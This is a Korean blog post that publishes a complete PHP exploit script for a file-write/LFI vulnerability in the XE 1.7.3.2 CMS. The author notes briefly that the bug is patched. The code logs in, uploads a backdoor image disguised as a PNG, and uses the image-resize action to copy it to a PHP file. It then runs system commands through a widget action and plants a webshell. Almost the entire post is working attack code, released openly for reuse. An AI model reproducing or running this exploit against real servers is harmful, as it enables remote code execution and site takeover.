2013년 10월 16일 수요일

XE 1.7.3.2 LFI 취약점 Exploit

이 코드는 본인이 분석한 내용을 바탕으로 만들었던 Exploit 이다.
취약점이 패치된지도 좀 되었고, 이 코드가 있어도 특정 백도어 이미지가 없으면 성공하지 못한다.
아무도 알려주지 않아서 나름 힘들게 분석한 만큼 누군가에게 도움이 되리라 공개한다.
허접한 코드이기 때문에 큰 부담은 없다.


<?
    /*
         
          XE 1.7.3.2 LFI Vuln Exploit
              
                               by Khuti
         
          Example
    
          $PARAM["host"] = "localhost";
          $PARAM["id"] = "testtest";
          $PARAM["pass"] = "testtest";
          $PARAM["main_dir"] = "/xe/";
          $PARAM["board_id"] = "boltc5";
          $PARAM["sess_id"] = "";
          $PARAM["backdoor_img"] = "xe_lfi.png";
          $PARAM["webshell"] = "xe_lfi_webshell.php";
   
     */
    
    
     $PARAM["host"] = input("#host : ");
     $PARAM["id"] = input("#ID : ");
     $PARAM["pass"] = input("#Pass : ");
     $PARAM["main_dir"] = input("#XE Main Dir (ex: /xe/) : ");
     $PARAM["board_id"] = input("#board id : ");
     $PARAM["sess_id"] = "";
     $PARAM["backdoor_img"] = input("#backdoor img  : ");
     $PARAM["webshell"] = input("#Upload WebShell : ");
    
    
     //세션 가져오기
     getSessionID();
   
     //취약점 체크
     vulnCheck();
   
     //로그인 처리
     Login();
   
     //이미지 백도어 업로드
     ImgBackdoorUpload();
   
     //이미지 리사이징 우회
     imgResizeBypass();
   
     //cmd 명령어 실행 체크
     cmdCheck();
   
     //웹쉘 업로드
     webShellUpload();
   
     //웹쉘 복사
     webShellCopy();
   
     /*----------------------------------------------------------------------------------------------*/
   
     //cmd input
     function input($msg)
     {
          echo $msg;
          return trim(fgets(STDIN));
     }
   
     //세션 가져오기
     function getSessionID()
     {
          global $PARAM;
        
          $data="GET ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
        $data.="Host: ".$PARAM["host"]."\r\n";
        $data.="Connection: Close\r\n\r\n";
      
        $result = fsock($data);  
        
          preg_match("/Set-Cookie: PHPSESSID=(.*?);/i", $result[0], $tmp_parse);
          $PARAM["sess_id"] = @$tmp_parse[1];
        
          if($tmp_parse[1]) echo "#Get SessionID OK! (Sessn : ".$PARAM["sess_id"]."\r\n";
          else echo "#Get SessionID Faile..\r\n";
     }
   
     //취약점 체크
     function vulnCheck()
     {
          global $PARAM;
        
          $post="<?xml version=\"1.0\" encoding=\"utf-8\" ?>
          <methodCall>
          <params>
          <source_src><![CDATA[./layouts/default/blank.gif]]></source_src>
          <width><![CDATA[100]]></width>
          <height><![CDATA[200]]></height>
          <output_src><![CDATA[./files/attach/images/1/vulnCheck.gif]]></output_src>
          <module><![CDATA[file]]></module>
          <act><![CDATA[procFileImageResize]]></act>
          </params>
          </methodCall>\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="Accept: application/xml, text/xml, */*; q=0.01\r\n";
          $data.="X-Requested-With: XMLHttpRequest\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: text/plain\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);  
        
          $data="GET ".$PARAM["main_dir"]." /files/attach/images/1/vulnCheck.gif HTTP/1.1\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Connection: Close\r\n\r\n";
        
          $result = fsock($data);  
        
          if(strstr($result[0],"200 OK"))  echo "#Vuln Check OK!\r\n";
          else echo "#Vuln Check Faile..\r\n";
     }
   
     //로그인 처리
     function Login()
     {
          global $PARAM;
        
          $post="<?xml version=\"1.0\" encoding=\"utf-8\" ?>
          <methodCall>
          <params>
          <error_return_url><![CDATA[".$PARAM["main_dir"]."]]></error_return_url>
          <mid><![CDATA[".$PARAM["board_id"]."]]></mid>
          <user_id><![CDATA[".$PARAM["id"]."]]></user_id>
          <password><![CDATA[".$PARAM["pass"]."]]></password>
          <_filter><![CDATA[widget_login]]></_filter>
          <module><![CDATA[member]]></module>
          <act><![CDATA[procMemberLogin]]></act>
          </params>
          </methodCall>\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="Accept: application/xml, text/xml, */*; q=0.01\r\n";
          $data.="X-Requested-With: XMLHttpRequest\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          //$data.="Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          $result[1] = iconv("utf-8", "euc-kr" ,$result [1]);
                  
          if(strstr($result[1],"<message>success</message>"))  echo "#Login OK!\r\n";
          else {  echo "#Login Faile..\r\n"; return; }
        
        
     }
   
     //이미지백도어 업로드
     function ImgBackdoorUpload()
     {
          global $PARAM;
        
          //editorSequence 와 fileListAreaID 를 가져온다.
          $data="GET ".$PARAM["main_dir"]."?mid=".$PARAM["board_id"]."&act=dispBoardWrite&fr=true HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
        
          $result = fsock($data);
        
          preg_match("/\"editorSequence\" : (.*?),/i", $result[1], $tmp_parse);
          $PARAM["editorSequence"] = $tmp_parse[1];
        
            echo "#editSequence : " .$PARAM["editorSequence"]."\r\n";
         
          preg_match("/\"fileListAreaID\" : \"(.*?)\",/i", $result[1], $tmp_parse);
          $PARAM["fileListAreaID"] = $tmp_parse[1];
        
          echo "#fileListAreaID : " .$PARAM["fileListAreaID"]."\r\n";
         
          //이미지백도어 업로드
   
          $post="------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Filename\"

test.png
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"mid\"

".$PARAM["board_id"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"editor_sequence\"

".$PARAM["editorSequence"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"PHPSESSID\"

".$PARAM["sess_id"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"act\"

procFileUpload
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.png\"
Content-Type: application/octet-stream

".imageBackdoor()."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Upload\"

Submit Query
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7--
\r\n\r\n";
   
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: multipart/form-data; boundary=----------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
                  
          //파일 목록 불러옴.
        
          $post="<?xml version=\"1.0\" encoding=\"utf-8\" ?>
          <methodCall>
          <params>
          <mid><![CDATA[".$PARAM["board_id"]."]]></mid>
          <file_list_area_id><![CDATA[".$PARAM["fileListAreaID"]."]]></file_list_area_id>
          <editor_sequence><![CDATA[".$PARAM["editorSequence"]."]]></editor_sequence>
          <upload_target_srl><![CDATA[]]></upload_target_srl>
          <module><![CDATA[file]]></module>
          <act><![CDATA[getFileList]]></act>
          </params>
          </methodCall>\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="Accept: application/xml, text/xml, */*; q=0.01\r\n";
          $data.="X-Requested-With: XMLHttpRequest\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: text/plain\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          preg_match("/<download_url><!\[CDATA\[(.*?)\]\]><\/download_url>/i", $result[1], $tmp_parse);
          $PARAM["imgBackdoor_download_url"] = $tmp_parse[1];
        
          if($PARAM["imgBackdoor_download_url"]) echo "#img backdoor upload OK!\r\n(src : ".$PARAM["imgBackdoor_download_url"].")\r\n";
          else echo "#img backdoor upload Faile...\r\n";
        
     }
   
     //이미지 리사이징 우회
     function imgResizeBypass()
     {
          global $PARAM;
        
          //이미지 리사이징을 통해서 이미지 백도어를 php 파일로 복사
          $post="<?xml version=\"1.0\" encoding=\"utf-8\" ?>
          <methodCall>
          <params>
          <source_src><![CDATA[./".$PARAM["imgBackdoor_download_url"]."]]></source_src>
          <width><![CDATA[100]]></width>
          <height><![CDATA[200]]></height>
          <output_src><![CDATA[./widgets/a/a.class.php]]></output_src>
          <module><![CDATA[file]]></module>
          <act><![CDATA[procFileImageResize]]></act>
          </params>
          </methodCall>\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="Accept: application/xml, text/xml, */*; q=0.01\r\n";
          $data.="X-Requested-With: XMLHttpRequest\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: text/plain\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          //복사 성공했는지 체크
          $data="GET ".$PARAM["main_dir"]." /widgets/a/a.class.php HTTP/1.1\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Connection: Close\r\n\r\n";
        
          $result = fsock($data);  
        
          if(strstr($result[0],"200 OK"))  echo "#Image Resize Bypas OK!\r\n";
          else echo "#Image Resize Bypas Faile..\r\n";
        
     }
   
     //cmd 명령어 실행 체크
     function cmdCheck()
     {
          global $PARAM;
        
          //이미지 리사이징을 통해서 이미지 백도어를 php 파일로 복사
          $post="act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a&1=echo%20cmdcheck\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]."/?0=system HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: application/x-www-form-urlencoded\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          if(strstr($result[1],"cmdcheck"))  echo "#Temp WebShell Check OK!\r\n";
          else echo "#Temp WebShell Check Faile..\r\n";
        
     }
   
     //웹쉘 업로드
     function webShellUpload()
     {
          global $PARAM;
        
          //editorSequence 와 fileListAreaID 를 가져온다.
          $data="GET ".$PARAM["main_dir"]."?mid=".$PARAM["board_id"]."&act=dispBoardWrite HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
        
          $result = fsock($data);
        
          preg_match("/\"editorSequence\" : (.*?),/i", $result[1], $tmp_parse);
          $PARAM["editorSequence"] = $tmp_parse[1];
        
          preg_match("/\"fileListAreaID\" : \"(.*?)\",/i", $result[1], $tmp_parse);
          $PARAM["fileListAreaID"] = $tmp_parse[1];
        
          //이미지백도어 업로드
   
          $post="------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Filename\"

test.png
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"mid\"

".$PARAM["board_id"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"editor_sequence\"

".$PARAM["editorSequence"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"PHPSESSID\"

".$PARAM["sess_id"]."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"act\"

procFileUpload
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.png\"
Content-Type: application/octet-stream

".uploadWebShell()."
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7
Content-Disposition: form-data; name=\"Upload\"

Submit Query
------------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7--
\r\n\r\n";
   
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: multipart/form-data; boundary=----------Ef1GI3GI3Ef1GI3GI3ae0cH2ae0KM7\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
                  
          //파일 목록 불러옴.
        
          $post="<?xml version=\"1.0\" encoding=\"utf-8\" ?>
          <methodCall>
          <params>
          <mid><![CDATA[".$PARAM["board_id"]."]]></mid>
          <file_list_area_id><![CDATA[".$PARAM["fileListAreaID"]."]]></file_list_area_id>
          <editor_sequence><![CDATA[".$PARAM["editorSequence"]."]]></editor_sequence>
          <upload_target_srl><![CDATA[]]></upload_target_srl>
          <module><![CDATA[file]]></module>
          <act><![CDATA[getFileList]]></act>
          </params>
          </methodCall>\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]." HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="Accept: application/xml, text/xml, */*; q=0.01\r\n";
          $data.="X-Requested-With: XMLHttpRequest\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: text/plain\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          preg_match("/<download_url><!\[CDATA\[(.*?)\]\]><\/download_url>/i", $result[1], $tmp_parse);
          $PARAM["webshell_url"] = $tmp_parse[1];
        
          if($PARAM["webshell_url"]) echo "#webshell upload OK!\r\n";
          else echo "#webshell upload Faile...";
     }
   
     //웹쉘 복사
     function webShellCopy()
     {
          global $PARAM;
        
          $ori_file = $PARAM["webshell_url"];
          $new_file = $PARAM["webshell_url"].".php";
        
          $copyCmd = "copy%20".$ori_file."%20".$new_file;
          $copyCmd = str_replace("/", "\\", $copyCmd);
        
          //이미지 리사이징을 통해서 이미지 백도어를 php 파일로 복사
          $post="act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a&1=".$copyCmd ."\r\n\r\n";
        
          $data="POST ".$PARAM["main_dir"]."/?0=system HTTP/1.1\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Content-Length: ".strlen($post)."\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Content-Type: application/x-www-form-urlencoded\r\n";
          $data.="Connection: Close\r\n";
          $data.="Cookie : PHPSESSID=".$PARAM["sess_id"]."\r\n";
          $data.="\r\n";
          $data.=$post;
        
          $result = fsock($data);
        
          //복사 성공했는지 체크
          $data="GET ".$PARAM["main_dir"].$new_file." HTTP/1.1\r\n";
          $data.="User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n";
          $data.="Host: ".$PARAM["host"]."\r\n";
          $data.="Connection: Close\r\n\r\n";
        
          $result = fsock($data);  
        
          $webshell_dir = "http://".$PARAM["host"].$PARAM["main_dir"].$new_file;
          if(strstr($result[0],"200 OK"))   echo "#Complete!\r\n(src : ".$webshell_dir.")";
          else echo "#webShell Copy Faile..\r\n";
     }
   
     /*----------------------------------------------------------------------------------------------*/
   
     function imageBackdoor()
     {
          global $PARAM;
        
          $filename = $PARAM["backdoor_img"];
          $handle = fopen($filename, "rb");
          $contents = fread($handle, filesize($filename));
          fclose($handle);
        
          return $contents;
     }
   
     function uploadWebShell()
     {
          global $PARAM;
        
          $filename = $PARAM["webshell"];
          $handle = fopen($filename, "r");
          $contents = fread($handle, filesize($filename));
          fclose($handle);
        
          return $contents;
     }
   
     function fsock($data)
    {
          global $PARAM;
   
          $parseHost = explode(":", $PARAM["host"]);
        
        $host=$parseHost[0];
          if(@$parseHost[1]) $port =$parseHost[1];
          else $port="80";
      
        
        $fp = fsockopen($host, $port, $errno, $errstr, 5);
      
        if(!$fp)echo "ERROR:Can't open socket ".$errstr;
      
        fputs($fp,$data);
      
        while($line=fgets($fp))
        {
            $result.=$line;     
        }
      
        fclose($fp);
      
          //헤더 파싱
        $parse_reuslt = explode("\r\n\r\n", $result);
      
          if(2 < count($parse_reuslt))
          {
               $return_arr[0] = $parse_reuslt[0];
             
               $tmp = "";
               for($i=1;$i<count($parse_reuslt);$i++)
               {
                    $tmp .= $parse_reuslt[$i];
               }
             
               $return_arr[1] = $tmp;
          }
          else
          {
               $return_arr[0] = $parse_reuslt[0];
               $return_arr[1] = $parse_reuslt[1];
          }
        
        return $return_arr;
    }

?>

댓글 없음:

댓글 쓰기

참고: 블로그의 회원만 댓글을 작성할 수 있습니다.